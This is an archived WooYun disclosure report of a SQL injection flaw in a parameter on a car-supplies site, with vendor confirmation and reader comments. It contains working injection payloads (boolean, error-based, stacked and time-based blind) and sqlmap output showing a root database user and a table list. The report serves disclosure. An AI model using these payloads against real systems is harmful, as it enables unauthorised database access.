当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0122505

漏洞标题:汽车点评某站点存在SQL注入之草船借箭

相关厂商:xgo.com.cn

漏洞作者: 路人甲

提交时间:2015-06-24 17:01

修复时间:2015-08-09 09:44

公开时间:2015-08-09 09:44

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-24: 细节已通知厂商并且等待厂商处理中
2015-06-25: 厂商已经确认,细节仅向厂商公开
2015-07-05: 细节向核心白帽子及相关领域专家公开
2015-07-15: 细节向普通白帽子公开
2015-07-25: 细节向实习白帽子公开
2015-08-09: 细节向公众公开

简要描述:

233

详细说明:

GET /index.php?brand_id=0&page=1&pro_oil_capacity=0&pro_oil_class_acea=0&pro_oil_class_api=0&pro_oil_price=7&pro_oil_type=0&pro_oil_viscosity=1&r=product/oil HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: yongpin.xgo.com.cn
Cookie:
Host: yongpin.xgo.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept: */*

漏洞证明:

---
Parameter: pro_oil_viscosity (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: brand_id=0&page=1&pro_oil_capacity=0&pro_oil_class_acea=0&pro_oil_class_api=0&pro_oil_price=7&pro_oil_type=0&pro_oil_viscosity=-2818') OR 7628=7628#&r=product/oil
Type: error-based
Title: MySQL OR error-based - WHERE or HAVING clause
Payload: brand_id=0&page=1&pro_oil_capacity=0&pro_oil_class_acea=0&pro_oil_class_api=0&pro_oil_price=7&pro_oil_type=0&pro_oil_viscosity=-5232') OR 1 GROUP BY CONCAT(0x7162767071,(SELECT (CASE WHEN (6305=6305) THEN 1 ELSE 0 END)),0x7171717071,FLOOR(RAND(0)*2)) HAVING MIN(0)#&r=product/oil
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
Payload: brand_id=0&page=1&pro_oil_capacity=0&pro_oil_class_acea=0&pro_oil_class_api=0&pro_oil_price=7&pro_oil_type=0&pro_oil_viscosity=1');(SELECT * FROM (SELECT(SLEEP(5)))abOi)#&r=product/oil
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT - comment)
Payload: brand_id=0&page=1&pro_oil_capacity=0&pro_oil_class_acea=0&pro_oil_class_api=0&pro_oil_price=7&pro_oil_type=0&pro_oil_viscosity=1') AND (SELECT * FROM (SELECT(SLEEP(5)))TWJi)#&r=product/oil
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
current user: 'root@192.168.50.35'
Database: xgo_yongpin
[23 tables]
+--------------------+
| x_admin_user |
| x_article |
| x_article_text_1 |
| x_attribute |
| x_brand |
| x_category |
| x_comment |
| x_dealer_info |
| x_dealer_intro |
| x_dealer_user |
| x_log_admin_login |
| x_log_dealer_login |
| x_parameter |
| x_pro_description |
| x_product_autoid |
| x_product_gps |
| x_product_oil |
| x_product_parts |
| x_product_paster |
| x_product_public |
| x_product_shoe |
| x_public_pic |
| x_series |
+--------------------+

修复方案:

~~~~~~~~~

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-06-25 09:43

厂商回复:

感谢,正在修复中

最新状态:

暂无


漏洞评价:

评论

  1. 2015-06-24 17:02 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    这个跟草船借箭的关联是?

  2. 2015-06-24 17:14 | 紫霞仙子 ( 普通白帽子 | Rank:2027 漏洞数:279 | 天天向上 !!!)

    @疯狗 没关系,最近在看三国。。。。